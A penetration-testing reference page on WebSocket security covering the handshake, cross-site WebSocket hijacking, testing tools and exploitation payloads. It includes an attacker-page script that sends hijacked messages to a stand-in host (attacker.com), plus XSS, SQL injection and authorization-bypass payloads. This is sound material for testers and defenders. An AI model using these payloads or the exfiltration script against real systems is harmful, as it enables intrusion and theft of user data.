# Web Sockets

WebSockets provide bi-directional, full-duplex communication over a single TCP connection, commonly used for real-time features like chat, notifications, and live updates.

## Protocol Basics

### Handshake Request

```http
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Origin: https://normal-website.com
```

### Handshake Response

```http
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```

## Security Testing

### Cross-Site WebSocket Hijacking (CSWSH)

If the server doesn't validate the `Origin` header, attackers can hijack WebSocket connections.

```html
<!-- Attacker's page -->
<script>
var ws = new WebSocket('wss://vulnerable-site.com/chat');
ws.onopen = function() {
    ws.send('{"action": "get_messages"}');
};
ws.onmessage = function(event) {
    // Exfiltrate data to attacker server
    fetch('https://attacker.com/log?data=' + encodeURIComponent(event.data));
};
</script>
```

**Test for CSWSH:**

```bash
# Check if Origin is validated
curl -i -N -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Host: target.com" \
  -H "Origin: https://attacker.com" \
  -H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
  -H "Sec-WebSocket-Version: 13" \
  https://target.com/socket

# If 101 Switching Protocols → Vulnerable
```

### Message Manipulation

```javascript
// Intercept and modify WebSocket messages in browser console
const originalSend = WebSocket.prototype.send;
WebSocket.prototype.send = function(data) {
    console.log('Sending:', data);
    // Modify data here
    return originalSend.call(this, data);
};
```

### Common Vulnerabilities

| Vulnerability             | Test                                   |
| ------------------------- | -------------------------------------- |
| Missing Origin validation | Send request with different Origin     |
| No authentication         | Connect without session cookie         |
| Injection in messages     | Send `<script>`, SQL, etc. in messages |
| IDOR via WebSocket        | Change user IDs in messages            |
| Rate limiting bypass      | WebSocket often lacks rate limits      |
| Insecure ws\://           | Check if wss\:// is enforced           |

## Testing Tools

### STEWS - Security Testing for WebSockets

```bash
# https://github.com/PalindromeLabs/STEWS
python3 stews.py -u wss://target.com/socket

# Discovery mode
python3 stews.py -u https://target.com --discovery

# Fuzzing
python3 stews.py -u wss://target.com/socket --fuzz
```

### Burp Suite

```
1. Proxy → WebSockets history (shows all WS traffic)
2. Right-click message → Send to Repeater
3. Modify and resend messages
4. Use Intruder for message fuzzing
```

### wscat (CLI WebSocket Client)

```bash
# Install
npm install -g wscat

# Connect
wscat -c wss://target.com/socket

# With headers
wscat -c wss://target.com/socket -H "Cookie: session=abc123"

# Send message
> {"action": "get_user", "id": 1}
```

### websocat

```bash
# https://github.com/AhmedMohamedDev/websocat
websocat wss://target.com/socket

# With Origin header
websocat -H "Origin: https://attacker.com" wss://target.com/socket
```

## Exploitation Scenarios

### XSS via WebSocket

```javascript
// If messages are rendered without sanitization
ws.send('{"message": "<img src=x onerror=alert(1)>"}');
```

### SQL Injection via WebSocket

```javascript
ws.send('{"user_id": "1 OR 1=1--"}');
ws.send('{"search": "test\' UNION SELECT password FROM users--"}');
```

### Authorization Bypass

```javascript
// Try accessing other users' data
ws.send('{"action": "get_messages", "user_id": "admin"}');
ws.send('{"action": "delete", "message_id": "1", "user_id": "victim"}');
```

## Browser Console Testing

```javascript
// Create connection
var ws = new WebSocket('wss://target.com/socket');

// Monitor events
ws.onopen = () => console.log('Connected');
ws.onmessage = (e) => console.log('Received:', e.data);
ws.onerror = (e) => console.log('Error:', e);
ws.onclose = () => console.log('Closed');

// Send test messages
ws.send(JSON.stringify({action: 'test'}));
```

## Related Topics

* [CSRF](https://www.pentest-book.com/enumeration/web/csrf) - CSWSH is similar to CSRF
* [XSS](https://www.pentest-book.com/enumeration/web/xss) - Can chain with WebSocket attacks
* [IDOR](https://www.pentest-book.com/enumeration/web/idor) - Common in WebSocket APIs
